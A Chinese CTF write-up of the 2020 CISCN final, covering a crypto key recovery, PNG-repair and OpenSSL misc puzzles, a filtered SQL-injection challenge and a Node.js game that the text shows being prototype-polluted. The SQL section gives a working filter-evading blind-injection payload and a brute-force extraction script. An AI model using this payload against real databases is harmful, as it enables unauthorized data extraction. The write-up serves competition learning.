CTF | 2020 CISCN 国赛总决赛 部分解题复现


前言

好不容易经过线上初赛、分区选拔赛,终于有机会去线下打了场 CTF 国赛,感谢大师傅们带我玩~

辣鸡平台(ylbnb)什么的就不吐槽了,总的来说国赛其实还挺爽的 2333,混吃混喝划水的是我了。

第一天 AWD 一开始被打得贼惨了,中间修平台过了一个小时,本来都想好接下来要怎么打了,接着平台又崩了过了几个小时吃了个晚饭最后说不打了。。(第一次正式打 AWD 就是国赛了也太惨了

第二天改成了三小时 Break 解题赛 + 两小时 Fix,解题只会签到嘤嘤嘤(((

趁着还有点印象就来复现几个题吧。

(知道了我自己爪巴


Crypto

lockrise

Source:

import random
import os
from Crypto.Cipher import DES

'''
sbox=list(range(256))
random.shuffle(sbox)
print(sbox)
'''
sbox=[217, 25, 248, 51, 6, 37, 32, 69, 96, 117, 86, 108, 155, 50, 27, 249, 171, 82, 168, 245, 228, 195, 118, 187, 12, 109, 99, 241, 
26, 41, 194, 205, 236, 185, 73, 35, 139, 175, 44, 116, 48, 148, 22, 142, 190, 114, 201, 60, 59, 89, 181, 13, 10, 197, 151, 219, 87, 198, 191, 93, 152, 230, 34, 124, 173, 146, 226, 40, 101, 165, 83, 212, 206, 229, 16, 95, 56, 107, 144, 250, 149, 153, 208, 133, 145, 156, 172, 162, 113, 100, 183, 127, 57, 223, 130, 72, 135, 84, 147, 15, 242, 177, 42, 23, 122, 54, 0, 131, 166, 244, 
88, 231, 94, 235, 29, 125, 7, 232, 110, 90, 179, 75, 220, 71, 251, 45, 243, 207, 58, 120, 184, 9, 39, 218, 63, 38, 254, 167, 140, 53, 213, 214, 80, 85, 128, 8, 64, 174, 132, 233, 65, 200, 36, 115, 215, 192, 74, 203, 11, 134, 104, 170, 160, 227, 169, 246, 141, 221, 52, 21, 20, 47, 199, 33, 216, 182, 188, 143, 138, 102, 202, 105, 79, 49, 253, 30, 121, 103, 137, 1, 211, 150, 5, 55, 196, 247, 240, 178, 159, 24, 81, 224, 210, 67, 157, 91, 28, 18, 186, 126, 237, 98, 252, 2, 239, 43, 180, 209, 238, 225, 68, 119, 66, 46, 61, 17, 31, 112, 62, 158, 189, 234, 193, 111, 204, 19, 77, 222, 164, 14, 97, 3, 70, 255, 78, 129, 163, 92, 76, 4, 123, 176, 106, 161, 154, 136]

def lock(m):
    r=[]
    for i in m:
        r.append(sbox[i])
    return r

def peak(m):
    r=m[-1:]+m[0:-1]
    return r

def rise(m,k):
    assert len(m)==len(k)
    r=[]
    for i in range(len(m)):
        r.append(m[i]^k[i])
    return r

key=os.urandom(8)

secret=[1,2,3,4,5,6,7,8]
r=lock(secret)
r=peak(r)
r=rise(r,key)
r=lock(r)
r=peak(r)
r=rise(r,key)
print("lockrise:",r)
print("k0 ^ k7:",key[0]^key[-1])

secret=os.urandom(8)
r=lock(secret)
r=peak(r)
r=rise(r,key)
r=lock(r)
r=peak(r)
r=rise(r,key)
print("encrypted:",r)
d=DES.new(secret,DES.MODE_ECB)
flag=b"flagxxxxx...xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
print(d.encrypt(flag).hex())

Output:

lockrise: [158, 51, 193, 48, 114, 23, 164, 217]
k0 ^ k7: 160
encrypted: [32, 98, 40, 152, 125, 149, 87, 167]
0304eb66ffd8a1e1ee60b7e923c7823da10bb23fba254ab6748137b204133e2a35759572068c3a0c

加密逻辑:

input => sbox => right shift => xor key => sbox => right shift => xor key => output

求解 flag 逻辑:

求解 key => 根据 key 和 encrypted 反向解出 secret => 用 secret 作密钥 DES 解密 flag

再来看加密过程,input0 => sbox => right shift => xor k1 => sbox => right shift => xor k2 => output2.

反推可以得到 input6 => sbox => right shift => xor k7 => sbox => right shift => xor k0 => output0.

这样根据 k0 ^ k7 = 160 可以爆破 k0 & k7 了。

secret=[1,2,3,4,5,6,7,8]
r=lock(secret)
r=peak(r)
# [96, 25, 248, 51, 6, 37, 32, 69]

前两步骤加密都是确定的,可以直接从这里入手了。

r = [96, 25, 248, 51, 6, 37, 32, 69]
lockrise = [158, 51, 193, 48, 114, 23, 164, 217]
for k7 in range(256):
    k0 = 160 ^ k7
    if sbox[r[7] ^ k7] ^ k0 == lockrise[0]:
        print(k0, k7)
        # 0 160

得到 k0 和 k7 分别为 0 和 160.

再将 k0 带入求解 k1.

k0 = 0
for k1 in range(256):
    if sbox[r[0] ^ k0] ^ k1 == lockrise[1]:
        print(k1)
        # 180

依次求解下去即可得到key

或者写个循环求也行。

key = [0]
for i in range(0, 7):
    for k in range(256):
        if sbox[r[i] ^ key[i]] ^ k == lockrise[i + 1]:
            print(i, k)
            key.append(k)
            break
print(key)
# [0, 180, 224, 60, 139, 193, 154, 160]

所以 key[0, 180, 224, 60, 139, 193, 154, 160]

而后反过来求解 secret

key = [0, 180, 224, 60, 139, 193, 154, 160]

def inv_rise(m, k):
    assert len(m) == len(k)
    r = []
    for i in range(len(m)):
        r.append(m[i] ^ k[i])
    return r

def inv_peak(m):
    r = m[1:] + m[0:1]  # left shift
    return r

def inv_lock(m):
    r = []
    for i in m:
        r.append(sbox.index(i))
    return r

encrypted = [32, 98, 40, 152, 125, 149, 87, 167]
x = inv_rise(encrypted, key)
x = inv_peak(x)
x = inv_lock(x)
x = inv_rise(x, key)
x = inv_peak(x)
x = inv_lock(x)
print(x)
# [35, 239, 81, 231, 237, 218, 108, 166]

得到 secret[35, 239, 81, 231, 237, 218, 108, 166]

secret = [35, 239, 81, 231, 237, 218, 108, 166]
flag = bytes.fromhex(
    "0304eb66ffd8a1e1ee60b7e923c7823da10bb23fba254ab6748137b204133e2a35759572068c3a0c")
# 或者 
# import binascii
# flag = binascii.unhexlify(
#     "0304eb66ffd8a1e1ee60b7e923c7823da10bb23fba254ab6748137b204133e2a35759572068c3a0c")

from Crypto.Cipher import DES
d = DES.new(bytes(secret), DES.MODE_ECB)
print(d.decrypt(flag))
# b'flag{lock_peak_rise_repeat_2333_7481233}'

得到 flag。


Misc

签到

c3ludHt0MmpkZ2dqc2NuYTM2ZWwyfQ==

base64 decode

synt{t2jdggjscna36el2}

凯撒

flag{g2wqttwfpan36ry2}

BadPic

图片残缺了,拖进 010editor 里一看,发现文件最后面有一堆字符串,base64解密发现以 Salted开头,盲猜用了 openssl 什么加密吧。

另外 PNG_CHUNK chunk[8] 的 length 为 0。

于是先手动算了算再试了试长度,是 21535。(有没有什么脚本能直接算的唉,手算感觉好蠢

修改length

修改后得到完整的图片。

apache

apache,这个应该就是加密的密钥了。

把图片末尾的字符串给提取出来,去掉 IDAT 等标识(还是复现的时候发现要这样整),合并两段 chunk。

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

然后拿这个去 https://tool.oschina.net/encrypt 在线解密,AES,密钥为 apache

aes

或者 openssl 解密

(这参数谁知道就是 aes256 呢,难不成爆破?)

先把上面的密文存到 enc.txt,而后执行下面的这个,输出保存到 out.txt 文件中。

cat enc.txt | base64 -d | openssl enc -aes256 -salt -d -out out.txt -pass pass:apache -md md5

另外大佬提醒说,openssl 1.1版本以上默认的hash不是md5,低版本的是md5。

openssl

得到一堆的01字符串,估计就是二维码了啦!

统计一下长度为4900,正好70*70.

写个丑陋的jio本把二维码画出来。

from PIL import Image
import numpy as np

table = np.zeros((70, 70), dtype=int)
i = 0
for row in range(70):
    for j in range(70):
        if s[i] == '1':
            table[row][j] = 1
        else:
            table[row][j] = 0
        i += 1
a = [[0 if b == 0 else 255 for b in row] for row in table]
qrcode = Image.fromarray(np.uint8(np.array(a)))
qrcode.show()
qrcode.save(r"./qr.png")

得到二维码如下。

qr

扫码得到 flag。

qrcode

flag{lakks1qw23eeeaw345tywqiqajsajdwajdai}

(寻思着现场断网环境做出来也太强了吧,怕不是 openssl 参数掌握的很熟练,要不然就是偷偷上网了?

(Misc 碰上 Crypto 就很头秃 (小声bb


Web

Web1 ezsql

<h1>Get The Flag</h1>
<!-- 
    $query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
    //$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit";
-->
<form  method="get" class="form-group">
    <div class="row">
        <div class="col-md-1">
            yourt id
        </div>
        <div class="col-md-4">
            <input type="text" name="id" class="form-control">
        </div>
    </div>
    <input type="text" name="limit" hidden="" value="1">
    <div class="row">
        <input type="submit" value="get it" class="btn" btn-info="">
    </div>
</form>

是道 SQL 注入的题。根据提示真正的 flag 在 real_flag 这个表里,且字段名为 flag,需要通过 idlimit 这两个参数来注入。

现场试了发现一堆关键字都被过滤掉了,UNIONSUBSTR 不可行,' " /**/ () 等等都被过滤掉了,只能盲注了。

然而试了很多都没被过滤了草……

最后 fix 的时候发现读取数据库相关的源码长下面这样。

function is_safe($id, $limit){
    $common_blacklist = ["!", "\"", "#", "%", "&", "'", ";", "<", "=", ">", "\\", "^", "`", "|" ,'between','not'," ","like",','];
    $hack_list = ['union','join','in',"/**/","substr","ascii","left","right"];
    $id_blacklist = ['left','right','like','(',')'];
    $limit_blacklist = ['-'];

    $blacklist = array_merge ($common_blacklist, $hack_list, $id_blacklist);
    foreach ($blacklist as $value) {
        if (stripos($id, $value) !== false)
            die("your param <b>id</b> look like dangerous!");
    }

    $blacklist = array_merge ($common_blacklist, $hack_list, $limit_blacklist);
    foreach ($blacklist as $value) {
        if (stripos($limit, $value) !== false)
            die("your param <b>limit</b> look like dangerous!");
    }

    if( $limit > 10 or $limit <= 0)
    {
        die("your param limit can't >10 or <=0");
    }

    return true;
}


if(isset($_GET["id"]) && isset($_GET['limit'])){
    $id = $_GET["id"];
    $limit = $_GET['limit'];
    if(!is_safe($id, $limit)){
        exit("stop , hack!");
    }

    $query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
    $result = $mysqli->query($query);
    if ($result === false) {
        die("database error, please check your input");
    }
    //var_dump($result);
    $row = $result->fetch_assoc();
    if($row === NULL){
        echo "searched nothing";
    }else {
        var_dump($row);
    }
    while ($row = $result->fetch_assoc()) {
        var_dump($row);
    }
    $result->free();
    $mysqli->close();
}

也就是说 id 过滤了括号,limit 过滤了 -,但可以反过来,且能用 \t 代替空格,用 ord 代替 ascii,就可以 布尔盲注 了。

群里大佬的 payload:

id=1\tor\t{x}-/*'
&limit='10\tnana*/ord((select\tgroup_concat(flag)\tfrom\treal_flag))

构造出来的 SQL 语句长这样。

SELECT * FROM fake_flag WHERE id = 1\tor\t{x}-/*' limit 0, '10\tnana*/ord((select\tgroup_concat(flag)\tfrom\treal_flag))

其中,ord函数返回的是字符串第一个字符的 ASCII 值group_concat函数返回带有来自一个组的连接的非NULL值的字符串结果,也就是把flag字段的数据(默认用 , )合并起来。

fake_flag 中有两项结果,id 分别对应着1和2。

如果 or 后面的表达式为假,即说明 x 和 flag 中的这一位对上了,那么查询出来的结果就只有一项了。

另外,发现没有拦截 MID,可以用这个来索引 flag。

于是进一步构造 SQL 语句:

SELECT * FROM fake_flag WHERE id = 1\tor\t{x}-/*' limit 0, '10\tnana*/ord((select\tMID(group_concat(flag),2)\tfrom\treal_flag))

所以大概就遍历一下 x 的取值,从而把 flag 爆破出来。

比如本地试一试,比如 f 对应 ASCII 为 102,此时只有一个结果。

sql

当然也可以设置 id 为一个不存在的值,在正常情况下查询不到结果。

SELECT * FROM fake_flag WHERE id = 5\tor\t{x}-/*' limit 0, '10\tnana*/ord((select\tMID(group_concat(flag),2)\tfrom\treal_flag))

加入注入语句后,如果 x 和 flag 中的相应位置字符没对应上,则 or 之后的表达式结果不为0,即为真,那么查询时将有结果返回;

而字符对应上的话,表达式结果为0,or 出来结果都为假,于是就查询不到结果。

这样也能实现布尔盲注。

参考网上jio本改了改:(大概逻辑这样,未实际测试

import requests
import string

mystring = string.printable  # 所有可见字符
url = "http://URL/"
url += "?id=5\tor\t{0}-/*'&limit='10\tnana*/ord((select\tmid(group_concat(flag),{1})\tfrom\treal_flag))""
reply = "searched nothing"
print(url)
count = 1
result = ''
while True:
    temp_result = result
    for char in mystring:
        response = requests.post(url.format(ord(char), count))
        if reply in response.content:
            result += char
            print(result + '......')
            break
    if result == temp_result:
        print('Complete!')
        break
    count+=1

(害,还是太菜了,连布尔盲注都不会嘤嘤嘤

Web2 battle

是一道 Node.js 的题。

部分源码:

function  getPlayerDamageValue() //计算纯粹伤害
{
    if (player.buff) {
        return keepTwoDecimal(player.aggressivity+player.buff)
    } else return player.aggressivity
}

function triggerPassiveSkill() //触发被动技能
{
    switch (player.career) {
        case "warrior":
            player.buff = 5
            return 1
        case "high_priest" :
            player.HP += 10
            player.HP = keepTwoDecimal(player.HP)
            return 2
        case 'shooter' :
            player.buff = 7
            return 3
        default:
            return 0
    }
}

function playerUseItem(round)
{
    //ZLYG:治疗药膏,使用后回复10点生命值
    //BYZF:白银之锋,使用后的一次攻击将触发暴击并造成130%的伤害
    //XELD:邪恶镰刀,使用后将对方的一次攻击的攻击力变为80%
    if (round == player.round_to_use && player.num == 1)
    {
        player.num = 0;
        switch (player.item) {
            case "ZLYG":
                player.HP += 10;
                return  1;
            case "BYZF":
                player.buff = player.aggressivity * 0.3;
                player.buff = keepTwoDecimal(player.buff)
                return 2;
            case "XELD":
                monster.buff = monster.aggressivity * (1 - 0.8) * (-1);
                monster.buff = keepTwoDecimal(monster.buff)
                return 3;
        }
    } else return 0
}

function playerAttackMonster()
{
    monster.HP -= (getPlayerDamageValue())
    monster.HP = keepTwoDecimal(monster.HP)
}

function monsterAttackPlayer()
{
    if (monster.buff) {
        player.HP -= (monster.aggressivity + monster.buff)
        player.HP = keepTwoDecimal(player.HP)
        return keepTwoDecimal(monster.aggressivity + monster.buff)
    } else {
        player.HP -= monster.aggressivity
        player.HP = keepTwoDecimal(player.HP)
        return monster.aggressivity
    }
}
//......
app.post('/start', (req, res) => {
    if (req.body && typeof req.body== 'object' )
    {
        player = {
            name : "ciscn",
            career : "warrior",
            item : "BYZF",
            round_to_use : 1 //round_to_use表示在哪一轮使用物品
        }

        let tempPlayer = req.body

        for ( let i in tempPlayer )
        {
            if (player[i]) {
                if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') {
                    continue
                }
                player[i] = tempPlayer[i]
            }
        }
        player.num = 1; //player剩余可`使用物品`的次数
        player.HP = 100; //HP为血量
        player.aggressivity = getPlayerAggressivity()

        initMonster()
        res.redirect("/battle")
    } else {
        res.redirect("/")
    }
})

app.get('/battle', (req, res)=>{
    if ( player.HP !== 100 ) {
        res.status(403).end("Forbidden")
        return
    }

    let battleLog = []
    let round = 1;
    do {
        battleLog.push(`<font color="red" size="5px">Round <B>${round}</B> fight!</font>`)

        player.aggressivity = getPlayerAggressivity();
        battleLog.push(`${playerAndMonsterInfo()}玩家<B>${player.name}</B>攻击力为<B>${getPlayerDamageValue()}</B>!`)

        switch (playerUseItem(round)) {
            case 0:
                break
            case 1:
                battleLog.push(`玩家<B>${player.name}</B>使用了物品<B>治疗药膏</B>! 玩家生命值+10!`)
                break
            case 2:
                battleLog.push(`玩家<B>${player.name}</B>使用了物品<B>白银之锋</B>! 即将造成130%暴击!`)
                break
            case 3:
                battleLog.push(`玩家<B>${player.name}</B>使用了物品<B>邪恶镰刀</B>! <B>地穴领主</B>的攻击力变为了80%!`)
                break
        }

        if (round === 1) {
            switch (triggerPassiveSkill()) {
                case 1:
                    battleLog.push(`玩家<B>${player.name}</B>触发了<B>战神领主</B>的被动技能<B>旋风飞斧</B>! 下次攻击的攻击力+5!`)
                    break
                case 2:
                    battleLog.push(`玩家<B>${player.name}</B>触发了<B>奥术祭司</B>的被动技能<B>巫毒恢复</B>! 玩家<B>${player.name}</B>的生命值+10!`)
                    break
                case 3:
                    battleLog.push(`玩家<B>${player.name}</B>触发了<B>暗夜游侠</B>的被动技能<B>百步穿杨</B>! 下次攻击的攻击力+7!`)
            }
        }

        playerAttackMonster()
        battleLog.push(`玩家<B>${player.name}</B>攻击了<B>地穴领主</B>并造成<B>${getPlayerDamageValue()}</B>点伤害! <B>地穴领主</B>剩余血量为<B>${monster.HP}</B>`)

        if (monster.HP <= 0) {
            battleLog.push(' ')
            break
        }

        if (monsterPassiveSkill()){
            battleLog.push(`<B>地穴领主</B>触发了被动技能<B>缩地</B>!生命值回复20点!回复后生命值为<B>${monster.HP}</B>`)
        }

        battleLog.push(`<B>地穴领主</B>攻击了玩家<B>${player.name}</B>并造成<B>${monsterAttackPlayer()}</B>点伤害! 玩家<B>${player.name}</B>剩余血量为<B>${player.HP}</B>`)

        monster.aggressivity = 40;
        monster.buff = 0;
        player.buff = 0;
        round++
        battleLog.push(' ')
    } while (player.HP > 0 && monster.HP > 0)

    if (player.HP > monster.HP) {
        battleLog.push("恭喜你胜利了!这是给你的奖励:" + flag)
    } else {
        battleLog.push("很遗憾,你被打败了,但是不要灰心,再接再厉")
    }
    player = monster = {}
    res.render("result", {"result_5be4038eaf61b1b7abad92cfece05cd7" : battleLog.join("<br />\n")})
})

出 flag 需要 player.HP > monster.HP,但不能直接改 player.HP。

不过可以加大 buff,再看源码中这一部分。

for ( let i in tempPlayer )
{
    if (player[i]) {
        if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') {
            continue
        }
        player[i] = tempPlayer[i]
    }
}

这里把接收到的 tempPlayer 这个 object 中的 value 不为空内容都赋给 player 了。

于是我们可以通过污染原型链,把 buff 改大。

大师傅有言:

